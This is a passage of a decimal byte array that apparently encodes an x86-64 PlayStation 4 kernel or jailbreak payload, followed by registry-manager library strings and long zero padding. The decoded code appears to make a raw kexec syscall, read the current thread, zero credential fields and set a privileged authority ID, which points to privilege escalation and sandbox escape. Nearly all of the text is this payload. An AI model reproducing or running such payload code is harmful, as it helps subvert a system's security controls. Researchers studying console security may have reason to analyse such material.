137, 69, 240, 72, 139, 69, 240, 72, 131, 192, 8, 190, 1, 0, 0, 0, 72, 137, 199, 232, 31, 11, 0, 0, 72, 137, 69, 248, 72, 139, 69, 248, 72, 141, 176, 176, 0, 0, 0, 72, 141, 69, 204, 185, 1, 0, 0, 0, 186, 4, 0, 0, 0, 72, 137, 199, 232, 32, 9, 0, 0, 133, 192, 15, 133, 166, 0, 0, 0, 139, 69, 204, 131, 248, 1, 117, 89, 72, 139, 69, 248, 72, 131, 192, 64, 190, 1, 0, 0, 0, 72, 137, 199, 232, 213, 10, 0, 0, 72, 137, 69, 216, 72, 139, 69, 248, 72, 131, 192, 72, 190, 1, 0, 0, 0, 72, 137, 199, 232, 188, 10, 0, 0, 72, 137, 69, 208, 72, 139, 69, 216, 72, 141, 112, 48, 72, 141, 5, 46, 43, 0, 0, 185, 1, 0, 0, 0, 186, 8, 0, 0, 0, 72, 137, 199, 232, 189, 8, 0, 0, 133, 192, 117, 83, 235, 88, 72, 139, 69, 248, 190, 1, 0, 0, 0, 72, 137, 199, 232, 128, 10, 0, 0, 72, 137, 69, 232, 72, 139, 69, 232, 72, 131, 192, 8, 190, 1, 0, 0, 0, 72, 137, 199, 232, 103, 10, 0, 0, 72, 137, 69, 224, 72, 139, 69, 224, 72, 59, 69, 248, 117, 19, 72, 139, 69, 232, 72, 137, 69, 248, 233, 49, 255, 255, 255, 144, 233, 9, 255, 255, 255, 144, 233, 3, 255, 255, 255, 184, 255, 255, 255, 255, 235, 60, 72, 139, 69, 208, 72, 141, 112, 24, 72, 141, 5, 183, 42, 0, 0, 185, 1, 0, 0, 0, 186, 8, 0, 0, 0, 72, 137, 199, 232, 62, 8, 0, 0, 133, 192, 116, 18, 72, 199, 5, 142, 42, 0, 0, 0, 0, 0, 0, 184, 255, 255, 255, 255, 235, 5, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 139, 5, 117, 42, 0, 0, 72, 133, 192, 117, 5, 232, 161, 254, 255, 255, 72, 139, 5, 100, 42, 0, 0, 93, 195, 85, 72, 137, 229, 72, 139, 5, 95, 42, 0, 0, 72, 133, 192, 117, 5, 232, 131, 254, 255, 255, 72, 139, 5, 78, 42, 0, 0, 93, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 248, 72, 137, 117, 240, 72, 137, 85, 232, 72, 139, 85, 240, 72, 139, 69, 248, 72, 41, 194, 72, 139, 69, 248, 72, 139, 117, 232, 185, 1, 0, 0, 0, 72, 137, 199, 232, 177, 7, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 248, 72, 137, 117, 240, 72, 137, 85, 232, 72, 139, 85, 240, 72, 139, 69, 248, 72, 41, 194, 72, 139, 117, 248, 72, 139, 69, 232, 185, 1, 0, 0, 0, 72, 137, 199, 232, 123, 7, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 48, 72, 137, 125, 216, 232, 116, 5, 0, 0, 72, 137, 69, 248, 72, 139, 69, 248, 72, 131, 192, 8, 190, 1, 0, 0, 0, 72, 137, 199, 232, 41, 9, 0, 0, 72, 137, 69, 240, 72, 139, 69, 240, 72, 131, 192, 64, 190, 1, 0, 0, 0, 72, 137, 199, 232, 16, 9, 0, 0, 72, 137, 69, 232, 72, 139, 69, 240, 72, 131, 192, 72, 190, 1, 0, 0, 0, 72, 137, 199, 232, 247, 8, 0, 0, 72, 137, 69, 224, 72, 139, 69, 232, 72, 141, 80, 4, 72, 139, 69, 216, 72, 131, 192, 8, 72, 141, 72, 4, 72, 139, 69, 216, 72, 137, 206, 72, 137, 199, 232, 17, 255, 255, 255, 133, 192, 15, 133, 176, 0, 0, 0, 72, 139, 69, 232, 72, 141, 80, 20, 72, 139, 69, 216, 72, 131, 192, 16, 72, 141, 72, 4, 72, 139, 69, 216, 72, 131, 192, 12, 72, 137, 206, 72, 137, 199, 232, 226, 254, 255, 255, 133, 192, 15, 133, 129, 0, 0, 0, 72, 139, 69, 232, 72, 141, 80, 48, 72, 139, 69, 216, 72, 131, 192, 24, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 24, 72, 137, 206, 72, 137, 199, 232, 179, 254, 255, 255, 133, 192, 117, 86, 72, 139, 69, 224, 72, 141, 80, 16, 72, 139, 69, 216, 72, 131, 192, 48, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 32, 72, 137, 206, 72, 137, 199, 232, 136, 254, 255, 255, 133, 192, 117, 43, 72, 139, 69, 232, 72, 141, 80, 88, 72, 139, 69, 216, 72, 131, 192, 72, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 56, 72, 137, 206, 72, 137, 199, 232, 93, 254, 255, 255, 133, 192, 116, 7, 184, 255, 255, 255, 255, 235, 5, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 48, 72, 137, 125, 216, 232, 43, 4, 0, 0, 72, 137, 69, 248, 72, 139, 69, 248, 72, 131, 192, 8, 190, 1, 0, 0, 0, 72, 137, 199, 232, 224, 7, 0, 0, 72, 137, 69, 240, 72, 139, 69, 240, 72, 131, 192, 64, 190, 1, 0, 0, 0, 72, 137, 199, 232, 199, 7, 0, 0, 72, 137, 69, 232, 72, 139, 69, 240, 72, 131, 192, 72, 190, 1, 0, 0, 0, 72, 137, 199, 232, 174, 7, 0, 0, 72, 137, 69, 224, 72, 139, 69, 232, 72, 141, 80, 4, 72, 139, 69, 216, 72, 131, 192, 8, 72, 141, 72, 4, 72, 139, 69, 216, 72, 137, 206, 72, 137, 199, 232, 254, 253, 255, 255, 133, 192, 15, 133, 176, 0, 0, 0, 72, 139, 69, 232, 72, 141, 80, 20, 72, 139, 69, 216, 72, 131, 192, 16, 72, 141, 72, 4, 72, 139, 69, 216, 72, 131, 192, 12, 72, 137, 206, 72, 137, 199, 232, 207, 253, 255, 255, 133, 192, 15, 133, 129, 0, 0, 0, 72, 139, 69, 232, 72, 141, 80, 48, 72, 139, 69, 216, 72, 131, 192, 24, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 24, 72, 137, 206, 72, 137, 199, 232, 160, 253, 255, 255, 133, 192, 117, 86, 72, 139, 69, 224, 72, 141, 80, 16, 72, 139, 69, 216, 72, 131, 192, 48, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 32, 72, 137, 206, 72, 137, 199, 232, 117, 253, 255, 255, 133, 192, 117, 43, 72, 139, 69, 232, 72, 141, 80, 88, 72, 139, 69, 216, 72, 131, 192, 72, 72, 141, 72, 8, 72, 139, 69, 216, 72, 131, 192, 56, 72, 137, 206, 72, 137, 199, 232, 74, 253, 255, 255, 133, 192, 116, 7, 184, 255, 255, 255, 255, 235, 5, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 232, 232, 181, 252, 255, 255, 72, 137, 69, 248, 72, 131, 125, 248, 0, 117, 10, 184, 255, 255, 255, 255, 233, 195, 0, 0, 0, 232, 185, 252, 255, 255, 72, 137, 69, 240, 72, 131, 125, 240, 0, 117, 10, 184, 255, 255, 255, 255, 233, 169, 0, 0, 0, 72, 139, 69, 232, 72, 199, 64, 72, 255, 255, 255, 255, 72, 139, 69, 232, 72, 185, 19, 0, 0, 0, 0, 0, 1, 56, 72, 137, 72, 56, 72, 139, 69, 232, 72, 199, 64, 64, 255, 255, 255, 255, 72, 139, 69, 232, 199, 64, 16, 0, 0, 0, 0, 72, 139, 69, 232, 139, 80, 16, 72, 139, 69, 232, 137, 80, 12, 72, 139, 69, 232, 139, 80, 12, 72, 139, 69, 232, 137, 80, 8, 72, 139, 69, 232, 139, 80, 8, 72, 139, 69, 232, 137, 80, 4, 72, 139, 69, 232, 139, 80, 4, 72, 139, 69, 232, 137, 16, 72, 139, 69, 232, 72, 139, 85, 248, 72, 137, 80, 24, 72, 139, 69, 232, 72, 139, 85, 240, 72, 137, 80, 48, 72, 139, 69, 232, 72, 139, 80, 48, 72, 139, 69, 232, 72, 137, 80, 40, 72, 139, 69, 232, 72, 139, 80, 40, 72, 139, 69, 232, 72, 137, 80, 32, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 232, 72, 137, 117, 224, 72, 139, 69, 224, 72, 139, 64, 8, 72, 137, 69, 248, 72, 139, 69, 248, 72, 139, 0, 73, 137, 194, 72, 139, 69, 248, 72, 131, 192, 48, 76, 139, 0, 72, 139, 69, 248, 72, 131, 192, 40, 72, 139, 56, 72, 139, 69, 248, 72, 131, 192, 32, 72, 139, 8, 72, 139, 69, 248, 72, 131, 192, 24, 72, 139, 16, 72, 139, 69, 248, 72, 131, 192, 16, 72, 139, 48, 72, 139, 69, 248, 72, 131, 192, 8, 72, 139, 0, 77, 137, 193, 73, 137, 248, 72, 137, 199, 65, 255, 210, 72, 139, 85, 248, 72, 137, 2, 184, 0, 0, 0, 0, 201, 195, 72, 199, 192, 11, 0, 0, 0, 73, 137, 202, 15, 5, 195, 85, 72, 137, 229, 72, 129, 236, 32, 1, 0, 0, 72, 137, 189, 232, 254, 255, 255, 72, 137, 181, 88, 255, 255, 255, 72, 137, 149, 96, 255, 255, 255, 72, 137, 141, 104, 255, 255, 255, 76, 137, 133, 112, 255, 255, 255, 76, 137, 141, 120, 255, 255, 255, 132, 192, 116, 32, 15, 41, 69, 128, 15, 41, 77, 144, 15, 41, 85, 160, 15, 41, 93, 176, 15, 41, 101, 192, 15, 41, 109, 208, 15, 41, 117, 224, 15, 41, 125, 240, 199, 133, 48, 255, 255, 255, 8, 0, 0, 0, 199, 133, 52, 255, 255, 255, 48, 0, 0, 0, 72, 141, 69, 16, 72, 137, 133, 56, 255, 255, 255, 72, 141, 133, 80, 255, 255, 255, 72, 137, 133, 64, 255, 255, 255, 72, 199, 133, 240, 254, 255, 255, 0, 0, 0, 0, 72, 199, 133, 248, 254, 255, 255, 0, 0, 0, 0, 72, 199, 133, 0, 255, 255, 255, 0, 0, 0, 0, 72, 199, 133, 8, 255, 255, 255, 0, 0, 0, 0, 72, 199, 133, 16, 255, 255, 255, 0, 0, 0, 0, 72, 199, 133, 24, 255, 255, 255, 0, 0, 0, 0, 72, 199, 133, 32, 255, 255, 255, 0, 0, 0, 0, 72, 139, 133, 232, 254, 255, 255, 72, 137, 133, 240, 254, 255, 255, 199, 133, 76, 255, 255, 255, 1, 0, 0, 0, 235, 90, 139, 133, 48, 255, 255, 255, 131, 248, 47, 119, 35, 72, 139, 133, 64, 255, 255, 255, 139, 149, 48, 255, 255, 255, 137, 210, 72, 1, 208, 139, 149, 48, 255, 255, 255, 131, 194, 8, 137, 149, 48, 255, 255, 255, 235, 18, 72, 139, 133, 56, 255, 255, 255, 72, 141, 80, 8, 72, 137, 149, 56, 255, 255, 255, 72, 139, 16, 139, 133, 76, 255, 255, 255, 72, 152, 72, 137, 148, 197, 240, 254, 255, 255, 131, 133, 76, 255, 255, 255, 1, 131, 189, 76, 255, 255, 255, 6, 126, 157, 72, 141, 133, 240, 254, 255, 255, 72, 137, 198, 72, 141, 61, 16, 254, 255, 255, 232, 141, 254, 255, 255, 72, 139, 133, 240, 254, 255, 255, 201, 195, 101, 72, 139, 4, 37, 0, 0, 0, 0, 195, 85, 72, 137, 229, 72, 141, 5, 235, 255, 255, 255, 72, 137, 199, 184, 0, 0, 0, 0, 232, 111, 254, 255, 255, 93, 195, 85, 72, 137, 229, 72, 131, 236, 16, 72, 141, 13, 58, 36, 0, 0, 186, 0, 0, 0, 0, 190, 1, 0, 0, 0, 191, 1, 0, 0, 0, 232, 76, 245, 255, 255, 133, 192, 116, 7, 184, 0, 0, 0, 0, 235, 72, 232, 179, 255, 255, 255, 72, 137, 193, 139, 5, 17, 36, 0, 0, 186, 1, 0, 0, 0, 72, 137, 206, 137, 199, 232, 17, 245, 255, 255, 72, 131, 248, 1, 117, 32, 139, 5, 242, 35, 0, 0, 72, 141, 77, 255, 186, 1, 0, 0, 0, 72, 137, 206, 137, 199, 232, 223, 244, 255, 255, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 139, 5, 167, 35, 0, 0, 133, 192, 121, 11, 232, 117, 255, 255, 255, 137, 5, 152, 35, 0, 0, 139, 5, 146, 35, 0, 0, 133, 192, 15, 149, 192, 93, 195, 85, 72, 137, 229, 72, 137, 125, 248, 137, 117, 244, 131, 125, 244, 0, 117, 19, 72, 184, 255, 255, 255, 255, 255, 127, 0, 0, 72, 57, 69, 248, 15, 150, 192, 235, 109, 131, 125, 244, 1, 117, 49, 72, 184, 255, 255, 255, 255, 255, 127, 255, 255, 72, 57, 69, 248, 118, 23, 72, 184, 255, 255, 255, 255, 254, 255, 255, 255, 72, 57, 69, 248, 119, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 131, 224, 1, 235, 54, 131, 125, 244, 2, 117, 43, 72, 184, 255, 255, 255, 255, 254, 255, 255, 255, 72, 57, 69, 248, 118, 17, 72, 129, 125, 248, 255, 239, 255, 255, 119, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 131, 224, 1, 235, 5, 184, 0, 0, 0, 0, 93, 195, 85, 72, 137, 229, 72, 131, 236, 48, 72, 137, 125, 232, 72, 137, 117, 224, 72, 137, 85, 216, 235, 123, 184, 64, 0, 0, 0, 72, 131, 125, 216, 64, 72, 15, 70, 69, 216, 72, 137, 69, 248, 72, 139, 77, 224, 139, 5, 233, 34, 0, 0, 72, 139, 85, 248, 72, 137, 206, 137, 199, 232, 234, 243, 255, 255, 72, 139, 85, 248, 72, 57, 208, 116, 7, 184, 255, 255, 255, 255, 235, 80, 72, 139, 77, 232, 139, 5, 189, 34, 0, 0, 72, 139, 85, 248, 72, 137, 206, 137, 199, 232, 175, 243, 255, 255, 72, 139, 85, 248, 72, 57, 208, 116, 7, 184, 255, 255, 255, 255, 235, 40, 72, 139, 69, 248, 72, 1, 69, 232, 72, 139, 69, 248, 72, 1, 69, 224, 72, 139, 69, 248, 72, 41, 69, 216, 72, 131, 125, 216, 0, 15, 133, 122, 255, 255, 255, 184, 0, 0, 0, 0, 201, 195, 72, 137, 209, 243, 164, 195, 85, 72, 137, 229, 72, 131, 236, 48, 72, 137, 125, 232, 72, 137, 117, 224, 72, 137, 85, 216, 137, 77, 212, 72, 131, 125, 216, 0, 117, 10, 184, 0, 0, 0, 0, 233, 176, 1, 0, 0, 72, 139, 69, 232, 190, 0, 0, 0, 0, 72, 137, 199, 232, 139, 254, 255, 255, 132, 192, 116, 39, 72, 139, 85, 232, 72, 139, 69, 216, 72, 1, 208, 72, 131, 232, 1, 190, 0, 0, 0, 0, 72, 137, 199, 232, 107, 254, 255, 255, 132, 192, 116, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 136, 69, 255, 128, 101, 255, 1, 139, 85, 212, 72, 139, 69, 232, 137, 214, 72, 137, 199, 232, 67, 254, 255, 255, 132, 192, 116, 39, 72, 139, 85, 232, 72, 139, 69, 216, 72, 1, 208, 72, 141, 80, 255, 139, 69, 212, 137, 198, 72, 137, 215, 232, 35, 254, 255, 255, 132, 192, 116, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 136, 69, 254, 128, 101, 254, 1, 72, 139, 69, 224, 190, 0, 0, 0, 0, 72, 137, 199, 232, 251, 253, 255, 255, 132, 192, 116, 39, 72, 139, 85, 224, 72, 139, 69, 216, 72, 1, 208, 72, 131, 232, 1, 190, 0, 0, 0, 0, 72, 137, 199, 232, 219, 253, 255, 255, 132, 192, 116, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 136, 69, 253, 128, 101, 253, 1, 139, 85, 212, 72, 139, 69, 224, 137, 214, 72, 137, 199, 232, 179, 253, 255, 255, 132, 192, 116, 39, 72, 139, 85, 224, 72, 139, 69, 216, 72, 1, 208, 72, 141, 80, 255, 139, 69, 212, 137, 198, 72, 137, 215, 232, 147, 253, 255, 255, 132, 192, 116, 7, 184, 1, 0, 0, 0, 235, 5, 184, 0, 0, 0, 0, 136, 69, 252, 128, 101, 252, 1, 15, 182, 69, 255, 131, 240, 1, 132, 192, 116, 11, 15, 182, 69, 254, 131, 240, 1, 132, 192, 117, 22, 15, 182, 69, 253, 131, 240, 1, 132, 192, 116, 18, 15, 182, 69, 252, 131, 240, 1, 132, 192, 116, 7, 184, 255, 255, 255, 255, 235, 93, 128, 125, 255, 0, 116, 13, 128, 125, 253, 0, 116, 7, 184, 255, 255, 255, 255, 235, 74, 232, 11, 253, 255, 255, 132, 192, 116, 25, 72, 139, 85, 216, 72, 139, 77, 224, 72, 139, 69, 232, 72, 137, 206, 72, 137, 199, 232, 169, 253, 255, 255, 235, 40, 72, 141, 5, 67, 254, 255, 255, 72, 137, 199, 72, 139, 77, 216, 72, 139, 85, 224, 72, 139, 69, 232, 72, 137, 198, 184, 0, 0, 0, 0, 232, 192, 250, 255, 255, 184, 0, 0, 0, 0, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 232, 137, 117, 228, 72, 141, 69, 248, 139, 85, 228, 72, 139, 117, 232, 137, 209, 186, 8, 0, 0, 0, 72, 137, 199, 232, 253, 253, 255, 255, 133, 192, 116, 9, 72, 199, 192, 255, 255, 255, 255, 235, 4, 72, 139, 69, 248, 201, 195, 85, 72, 137, 229, 72, 131, 236, 32, 72, 137, 125, 248, 137, 117, 244, 72, 137, 85, 232, 72, 141, 117, 232, 139, 85, 244, 72, 139, 69, 248, 137, 209, 186, 8, 0, 0, 0, 72, 137, 199, 232, 189, 253, 255, 255, 201, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 110, 112, 0, 0, 0, 0, 0, 0, 47, 115, 121, 115, 116, 101, 109, 47, 99, 111, 109, 109, 111, 110, 47, 108, 105, 98, 47, 108, 105, 98, 83, 99, 101, 82, 101, 103, 77, 103, 114, 46, 115, 112, 114, 120, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 71, 101, 116, 73, 110, 116, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 83, 101, 116, 73, 110, 116, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 71, 101, 116, 83, 116, 114, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 83, 101, 116, 83, 116, 114, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 71, 101, 116, 66, 105, 110, 0, 115, 99, 101, 82, 101, 103, 77, 103, 114, 83, 101, 116, 66, 105, 110, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 